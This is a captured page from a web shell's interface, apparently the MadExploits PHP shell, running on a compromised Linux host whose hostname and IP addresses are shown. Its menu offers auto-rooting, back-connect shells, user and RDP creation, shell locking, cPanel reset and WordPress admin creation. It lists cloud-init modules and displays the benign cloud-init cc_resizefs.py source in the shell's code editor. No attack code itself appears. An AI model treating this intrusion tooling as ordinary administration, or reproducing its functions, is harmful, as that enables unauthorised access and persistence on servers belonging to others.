Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.145.163.26
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
cloudinit /
config /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
1.4
KB
-rw-r--r--
__init__.pyc
1.31
KB
-rw-r--r--
__init__.pyo
1.31
KB
-rw-r--r--
cc_apt_configure.py
32.8
KB
-rw-r--r--
cc_apt_configure.pyc
30.2
KB
-rw-r--r--
cc_apt_configure.pyo
30.2
KB
-rw-r--r--
cc_apt_pipelining.py
2.44
KB
-rw-r--r--
cc_apt_pipelining.pyc
2.48
KB
-rw-r--r--
cc_apt_pipelining.pyo
2.48
KB
-rw-r--r--
cc_bootcmd.py
3.5
KB
-rw-r--r--
cc_bootcmd.pyc
3.02
KB
-rw-r--r--
cc_bootcmd.pyo
3.02
KB
-rw-r--r--
cc_byobu.py
3.1
KB
-rw-r--r--
cc_byobu.pyc
3.09
KB
-rw-r--r--
cc_byobu.pyo
3.09
KB
-rw-r--r--
cc_ca_certs.py
4.09
KB
-rw-r--r--
cc_ca_certs.pyc
4.1
KB
-rw-r--r--
cc_ca_certs.pyo
4.1
KB
-rw-r--r--
cc_chef.py
13.17
KB
-rw-r--r--
cc_chef.pyc
10.79
KB
-rw-r--r--
cc_chef.pyo
10.79
KB
-rw-r--r--
cc_debug.py
3.08
KB
-rw-r--r--
cc_debug.pyc
3.35
KB
-rw-r--r--
cc_debug.pyo
3.35
KB
-rw-r--r--
cc_disable_ec2_metadata.py
1.56
KB
-rw-r--r--
cc_disable_ec2_metadata.pyc
1.57
KB
-rw-r--r--
cc_disable_ec2_metadata.pyo
1.57
KB
-rw-r--r--
cc_disk_setup.py
32.8
KB
-rw-r--r--
cc_disk_setup.pyc
28.91
KB
-rw-r--r--
cc_disk_setup.pyo
28.91
KB
-rw-r--r--
cc_emit_upstart.py
2
KB
-rw-r--r--
cc_emit_upstart.pyc
2.15
KB
-rw-r--r--
cc_emit_upstart.pyo
2.15
KB
-rw-r--r--
cc_fan.py
2.83
KB
-rw-r--r--
cc_fan.pyc
3.09
KB
-rw-r--r--
cc_fan.pyo
3.09
KB
-rw-r--r--
cc_final_message.py
2.35
KB
-rw-r--r--
cc_final_message.pyc
2.39
KB
-rw-r--r--
cc_final_message.pyo
2.39
KB
-rw-r--r--
cc_foo.py
2.07
KB
-rw-r--r--
cc_foo.pyc
702
B
-rw-r--r--
cc_foo.pyo
702
B
-rw-r--r--
cc_growpart.py
11.51
KB
-rw-r--r--
cc_growpart.pyc
11.12
KB
-rw-r--r--
cc_growpart.pyo
11.12
KB
-rw-r--r--
cc_grub_dpkg.py
2.87
KB
-rw-r--r--
cc_grub_dpkg.pyc
2.63
KB
-rw-r--r--
cc_grub_dpkg.pyo
2.63
KB
-rw-r--r--
cc_keys_to_console.py
2.36
KB
-rw-r--r--
cc_keys_to_console.pyc
2.39
KB
-rw-r--r--
cc_keys_to_console.pyo
2.39
KB
-rw-r--r--
cc_landscape.py
3.93
KB
-rw-r--r--
cc_landscape.pyc
4.02
KB
-rw-r--r--
cc_landscape.pyo
4.02
KB
-rw-r--r--
cc_locale.py
1.16
KB
-rw-r--r--
cc_locale.pyc
1.16
KB
-rw-r--r--
cc_locale.pyo
1.16
KB
-rw-r--r--
cc_lxd.py
10.27
KB
-rw-r--r--
cc_lxd.pyc
8.33
KB
-rw-r--r--
cc_lxd.pyo
8.33
KB
-rw-r--r--
cc_mcollective.py
5.08
KB
-rw-r--r--
cc_mcollective.pyc
3.8
KB
-rw-r--r--
cc_mcollective.pyo
3.8
KB
-rw-r--r--
cc_migrator.py
3.07
KB
-rw-r--r--
cc_migrator.pyc
3.18
KB
-rw-r--r--
cc_migrator.pyo
3.18
KB
-rw-r--r--
cc_mounts.py
17.24
KB
-rw-r--r--
cc_mounts.pyc
14.59
KB
-rw-r--r--
cc_mounts.pyo
14.59
KB
-rw-r--r--
cc_ntp.py
20.19
KB
-rw-r--r--
cc_ntp.pyc
15.74
KB
-rw-r--r--
cc_ntp.pyo
15.74
KB
-rw-r--r--
cc_package_update_upgrade_inst...
4.11
KB
-rw-r--r--
cc_package_update_upgrade_inst...
4.01
KB
-rw-r--r--
cc_package_update_upgrade_inst...
4.01
KB
-rw-r--r--
cc_phone_home.py
3.92
KB
-rw-r--r--
cc_phone_home.pyc
3.28
KB
-rw-r--r--
cc_phone_home.pyo
3.28
KB
-rw-r--r--
cc_power_state_change.py
7.65
KB
-rw-r--r--
cc_power_state_change.pyc
7.8
KB
-rw-r--r--
cc_power_state_change.pyo
7.8
KB
-rw-r--r--
cc_puppet.py
8.86
KB
-rw-r--r--
cc_puppet.pyc
7.06
KB
-rw-r--r--
cc_puppet.pyo
7.06
KB
-rw-r--r--
cc_resizefs.py
10.79
KB
-rw-r--r--
cc_resizefs.pyc
9.15
KB
-rw-r--r--
cc_resizefs.pyo
9.15
KB
-rw-r--r--
cc_resolv_conf.py
3.43
KB
-rw-r--r--
cc_resolv_conf.pyc
3.44
KB
-rw-r--r--
cc_resolv_conf.pyo
3.44
KB
-rw-r--r--
cc_rh_subscription.py
15.65
KB
-rw-r--r--
cc_rh_subscription.pyc
13.5
KB
-rw-r--r--
cc_rh_subscription.pyo
13.5
KB
-rw-r--r--
cc_rightscale_userdata.py
3.76
KB
-rw-r--r--
cc_rightscale_userdata.pyc
2.82
KB
-rw-r--r--
cc_rightscale_userdata.pyo
2.82
KB
-rw-r--r--
cc_rsyslog.py
14.1
KB
-rw-r--r--
cc_rsyslog.pyc
10.56
KB
-rw-r--r--
cc_rsyslog.pyo
10.56
KB
-rw-r--r--
cc_runcmd.py
3.11
KB
-rw-r--r--
cc_runcmd.pyc
2.73
KB
-rw-r--r--
cc_runcmd.pyo
2.73
KB
-rw-r--r--
cc_salt_minion.py
4.66
KB
-rw-r--r--
cc_salt_minion.pyc
3.78
KB
-rw-r--r--
cc_salt_minion.pyo
3.78
KB
-rw-r--r--
cc_scripts_per_boot.py
1.2
KB
-rw-r--r--
cc_scripts_per_boot.pyc
1.2
KB
-rw-r--r--
cc_scripts_per_boot.pyo
1.2
KB
-rw-r--r--
cc_scripts_per_instance.py
1.38
KB
-rw-r--r--
cc_scripts_per_instance.pyc
1.38
KB
-rw-r--r--
cc_scripts_per_instance.pyo
1.38
KB
-rw-r--r--
cc_scripts_per_once.py
1.31
KB
-rw-r--r--
cc_scripts_per_once.pyc
1.31
KB
-rw-r--r--
cc_scripts_per_once.pyo
1.31
KB
-rw-r--r--
cc_scripts_user.py
1.42
KB
-rw-r--r--
cc_scripts_user.pyc
1.38
KB
-rw-r--r--
cc_scripts_user.pyo
1.38
KB
-rw-r--r--
cc_scripts_vendor.py
1.38
KB
-rw-r--r--
cc_scripts_vendor.pyc
1.46
KB
-rw-r--r--
cc_scripts_vendor.pyo
1.46
KB
-rw-r--r--
cc_seed_random.py
4.39
KB
-rw-r--r--
cc_seed_random.pyc
4.53
KB
-rw-r--r--
cc_seed_random.pyo
4.53
KB
-rw-r--r--
cc_set_hostname.py
2.95
KB
-rw-r--r--
cc_set_hostname.pyc
2.72
KB
-rw-r--r--
cc_set_hostname.pyo
2.72
KB
-rw-r--r--
cc_set_passwords.py
8.45
KB
-rw-r--r--
cc_set_passwords.pyc
7.62
KB
-rw-r--r--
cc_set_passwords.pyo
7.62
KB
-rw-r--r--
cc_snap.py
8.11
KB
-rw-r--r--
cc_snap.pyc
7.54
KB
-rw-r--r--
cc_snap.pyo
7.54
KB
-rw-r--r--
cc_snap_config.py
5.37
KB
-rw-r--r--
cc_snap_config.pyc
5.03
KB
-rw-r--r--
cc_snap_config.pyo
5.03
KB
-rw-r--r--
cc_snappy.py
9.69
KB
-rw-r--r--
cc_snappy.pyc
9.27
KB
-rw-r--r--
cc_snappy.pyo
9.27
KB
-rw-r--r--
cc_spacewalk.py
2.89
KB
-rw-r--r--
cc_spacewalk.pyc
2.91
KB
-rw-r--r--
cc_spacewalk.pyo
2.91
KB
-rw-r--r--
cc_ssh.py
10.59
KB
-rw-r--r--
cc_ssh.pyc
9.11
KB
-rw-r--r--
cc_ssh.pyo
9.11
KB
-rw-r--r--
cc_ssh_authkey_fingerprints.py
3.43
KB
-rw-r--r--
cc_ssh_authkey_fingerprints.py...
3.94
KB
-rw-r--r--
cc_ssh_authkey_fingerprints.py...
3.94
KB
-rw-r--r--
cc_ssh_import_id.py
2.88
KB
-rw-r--r--
cc_ssh_import_id.pyc
2.72
KB
-rw-r--r--
cc_ssh_import_id.pyo
2.72
KB
-rw-r--r--
cc_timezone.py
1.15
KB
-rw-r--r--
cc_timezone.pyc
1.15
KB
-rw-r--r--
cc_timezone.pyo
1.15
KB
-rw-r--r--
cc_ubuntu_advantage.py
6.08
KB
-rw-r--r--
cc_ubuntu_advantage.pyc
6.12
KB
-rw-r--r--
cc_ubuntu_advantage.pyo
6.12
KB
-rw-r--r--
cc_ubuntu_drivers.py
5.66
KB
-rw-r--r--
cc_ubuntu_drivers.pyc
4.63
KB
-rw-r--r--
cc_ubuntu_drivers.pyo
4.63
KB
-rw-r--r--
cc_update_etc_hosts.py
3.33
KB
-rw-r--r--
cc_update_etc_hosts.pyc
2.99
KB
-rw-r--r--
cc_update_etc_hosts.pyo
2.99
KB
-rw-r--r--
cc_update_hostname.py
1.58
KB
-rw-r--r--
cc_update_hostname.pyc
1.66
KB
-rw-r--r--
cc_update_hostname.pyo
1.66
KB
-rw-r--r--
cc_users_groups.py
7.06
KB
-rw-r--r--
cc_users_groups.pyc
6.76
KB
-rw-r--r--
cc_users_groups.pyo
6.76
KB
-rw-r--r--
cc_write_files.py
4.95
KB
-rw-r--r--
cc_write_files.pyc
5.13
KB
-rw-r--r--
cc_write_files.pyo
5.13
KB
-rw-r--r--
cc_yum_add_repo.py
4.27
KB
-rw-r--r--
cc_yum_add_repo.pyc
3.88
KB
-rw-r--r--
cc_yum_add_repo.pyo
3.88
KB
-rw-r--r--
cc_zypper_add_repo.py
7.62
KB
-rw-r--r--
cc_zypper_add_repo.pyc
7.12
KB
-rw-r--r--
cc_zypper_add_repo.pyo
7.12
KB
-rw-r--r--
schema.py
14.06
KB
-rw-r--r--
schema.pyc
13.83
KB
-rw-r--r--
schema.pyo
13.83
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cc_resizefs.py
# Copyright (C) 2011 Canonical Ltd. # Copyright (C) 2012 Hewlett-Packard Development Company, L.P. # # Author: Scott Moser <scott.moser@canonical.com> # Author: Juerg Haefliger <juerg.haefliger@hp.com> # # This file is part of cloud-init. See LICENSE file for license information. """Resizefs: cloud-config module which resizes the filesystem""" import errno import getopt import os import re import shlex import stat from textwrap import dedent from cloudinit.config.schema import ( get_schema_doc, validate_cloudconfig_schema) from cloudinit.settings import PER_ALWAYS from cloudinit import util NOBLOCK = "noblock" frequency = PER_ALWAYS distros = ['all'] schema = { 'id': 'cc_resizefs', 'name': 'Resizefs', 'title': 'Resize filesystem', 'description': dedent("""\ Resize a filesystem to use all avaliable space on partition. This module is useful along with ``cc_growpart`` and will ensure that if the root partition has been resized the root filesystem will be resized along with it. By default, ``cc_resizefs`` will resize the root partition and will block the boot process while the resize command is running. Optionally, the resize operation can be performed in the background while cloud-init continues running modules. This can be enabled by setting ``resize_rootfs`` to ``true``. This module can be disabled altogether by setting ``resize_rootfs`` to ``false``."""), 'distros': distros, 'examples': [ 'resize_rootfs: false # disable root filesystem resize operation'], 'frequency': PER_ALWAYS, 'type': 'object', 'properties': { 'resize_rootfs': { 'enum': [True, False, NOBLOCK], 'description': dedent("""\ Whether to resize the root partition. Default: 'true'""") } } } __doc__ = get_schema_doc(schema) # Supplement python help() def _resize_btrfs(mount_point, devpth): # If "/" is ro resize will fail. However it should be allowed since resize # makes everything bigger and subvolumes that are not ro will benefit. # Use a subvolume that is not ro to trick the resize operation to do the # "right" thing. The use of ".snapshot" is specific to "snapper" a generic # solution would be walk the subvolumes and find a rw mounted subvolume. if (not util.mount_is_read_write(mount_point) and os.path.isdir("%s/.snapshots" % mount_point)): return ('btrfs', 'filesystem', 'resize', 'max', '%s/.snapshots' % mount_point) else: return ('btrfs', 'filesystem', 'resize', 'max', mount_point) def _resize_ext(mount_point, devpth): return ('resize2fs', devpth) def _resize_xfs(mount_point, devpth): return ('xfs_growfs', mount_point) def _resize_ufs(mount_point, devpth): return ('growfs', '-y', mount_point) def _resize_zfs(mount_point, devpth): return ('zpool', 'online', '-e', mount_point, devpth) def _get_dumpfs_output(mount_point): return util.subp(['dumpfs', '-m', mount_point])[0] def _get_gpart_output(part): return util.subp(['gpart', 'show', part])[0] def _can_skip_resize_ufs(mount_point, devpth): # extract the current fs sector size """ # dumpfs -m / # newfs command for / (/dev/label/rootfs) newfs -L rootf -O 2 -U -a 4 -b 32768 -d 32768 -e 4096 -f 4096 -g 16384 -h 64 -i 8192 -j -k 6408 -m 8 -o time -s 58719232 /dev/label/rootf """ cur_fs_sz = None frag_sz = None dumpfs_res = _get_dumpfs_output(mount_point) for line in dumpfs_res.splitlines(): if not line.startswith('#'): newfs_cmd = shlex.split(line) opt_value = 'O:Ua:s:b:d:e:f:g:h:i:jk:m:o:L:' optlist, _args = getopt.getopt(newfs_cmd[1:], opt_value) for o, a in optlist: if o == "-s": cur_fs_sz = int(a) if o == "-f": frag_sz = int(a) # check the current partition size """ # gpart show /dev/da0 => 40 62914480 da0 GPT (30G) 40 1024 1 freebsd-boot (512K) 1064 58719232 2 freebsd-ufs (28G) 58720296 3145728 3 freebsd-swap (1.5G) 61866024 1048496 - free - (512M) """ expect_sz = None m = re.search('^(/dev/.+)p([0-9])$', devpth) gpart_res = _get_gpart_output(m.group(1)) for line in gpart_res.splitlines(): if re.search(r"freebsd-ufs", line): fields = line.split() expect_sz = int(fields[1]) # Normalize the gpart sector size, # because the size is not exactly the same as fs size. normal_expect_sz = (expect_sz - expect_sz % (frag_sz / 512)) if normal_expect_sz == cur_fs_sz: return True else: return False # Do not use a dictionary as these commands should be able to be used # for multiple filesystem types if possible, e.g. one command for # ext2, ext3 and ext4. RESIZE_FS_PREFIXES_CMDS = [ ('btrfs', _resize_btrfs), ('ext', _resize_ext), ('xfs', _resize_xfs), ('ufs', _resize_ufs), ('zfs', _resize_zfs), ] RESIZE_FS_PRECHECK_CMDS = { 'ufs': _can_skip_resize_ufs } def can_skip_resize(fs_type, resize_what, devpth): fstype_lc = fs_type.lower() for i, func in RESIZE_FS_PRECHECK_CMDS.items(): if fstype_lc.startswith(i): return func(resize_what, devpth) return False def maybe_get_writable_device_path(devpath, info, log): """Return updated devpath if the devpath is a writable block device. @param devpath: Requested path to the root device we want to resize. @param info: String representing information about the requested device. @param log: Logger to which logs will be added upon error. @returns devpath or updated devpath per kernel commandline if the device path is a writable block device, returns None otherwise. """ container = util.is_container() # Ensure the path is a block device. if (devpath == "/dev/root" and not os.path.exists(devpath) and not container): devpath = util.rootdev_from_cmdline(util.get_cmdline()) if devpath is None: log.warning("Unable to find device '/dev/root'") return None log.debug("Converted /dev/root to '%s' per kernel cmdline", devpath) if devpath == 'overlayroot': log.debug("Not attempting to resize devpath '%s': %s", devpath, info) return None # FreeBSD zpool can also just use gpt/<label> # with that in mind we can not do an os.stat on "gpt/whatever" # therefore return the devpath already here. if devpath.startswith('gpt/'): log.debug('We have a gpt label - just go ahead') return devpath # Alternatively, our device could simply be a name as returned by gpart, # such as da0p3 if not devpath.startswith('/dev/') and not os.path.exists(devpath): fulldevpath = '/dev/' + devpath.lstrip('/') log.debug("'%s' doesn't appear to be a valid device path. Trying '%s'", devpath, fulldevpath) devpath = fulldevpath try: statret = os.stat(devpath) except OSError as exc: if container and exc.errno == errno.ENOENT: log.debug("Device '%s' did not exist in container. " "cannot resize: %s", devpath, info) elif exc.errno == errno.ENOENT: log.warning("Device '%s' did not exist. cannot resize: %s", devpath, info) else: raise exc return None if not stat.S_ISBLK(statret.st_mode) and not stat.S_ISCHR(statret.st_mode): if container: log.debug("device '%s' not a block device in container." " cannot resize: %s" % (devpath, info)) else: log.warning("device '%s' not a block device. cannot resize: %s" % (devpath, info)) return None return devpath # The writable block devpath def handle(name, cfg, _cloud, log, args): if len(args) != 0: resize_root = args[0] else: resize_root = util.get_cfg_option_str(cfg, "resize_rootfs", True) validate_cloudconfig_schema(cfg, schema) if not util.translate_bool(resize_root, addons=[NOBLOCK]): log.debug("Skipping module named %s, resizing disabled", name) return # TODO(harlowja): allow what is to be resized to be configurable?? resize_what = "/" result = util.get_mount_info(resize_what, log) if not result: log.warning("Could not determine filesystem type of %s", resize_what) return (devpth, fs_type, mount_point) = result # if we have a zfs then our device path at this point # is the zfs label. For example: vmzroot/ROOT/freebsd # we will have to get the zpool name out of this # and set the resize_what variable to the zpool # so the _resize_zfs function gets the right attribute. if fs_type == 'zfs': zpool = devpth.split('/')[0] devpth = util.get_device_info_from_zpool(zpool) if not devpth: return # could not find device from zpool resize_what = zpool info = "dev=%s mnt_point=%s path=%s" % (devpth, mount_point, resize_what) log.debug("resize_info: %s" % info) devpth = maybe_get_writable_device_path(devpth, info, log) if not devpth: return # devpath was not a writable block device resizer = None if can_skip_resize(fs_type, resize_what, devpth): log.debug("Skip resize filesystem type %s for %s", fs_type, resize_what) return fstype_lc = fs_type.lower() for (pfix, root_cmd) in RESIZE_FS_PREFIXES_CMDS: if fstype_lc.startswith(pfix): resizer = root_cmd break if not resizer: log.warning("Not resizing unknown filesystem type %s for %s", fs_type, resize_what) return resize_cmd = resizer(resize_what, devpth) log.debug("Resizing %s (%s) using %s", resize_what, fs_type, ' '.join(resize_cmd)) if resize_root == NOBLOCK: # Fork to a child that will run # the resize command util.fork_cb( util.log_time, logfunc=log.debug, msg="backgrounded Resizing", func=do_resize, args=(resize_cmd, log)) else: util.log_time(logfunc=log.debug, msg="Resizing", func=do_resize, args=(resize_cmd, log)) action = 'Resized' if resize_root == NOBLOCK: action = 'Resizing (via forking)' log.debug("%s root filesystem (type=%s, val=%s)", action, fs_type, resize_root) def do_resize(resize_cmd, log): try: util.subp(resize_cmd) except util.ProcessExecutionError: util.logexc(log, "Failed to resize filesystem (cmd=%s)", resize_cmd) raise # TODO(harlowja): Should we add a fsck check after this to make # sure we didn't corrupt anything? # vi: ts=4 expandtab
Close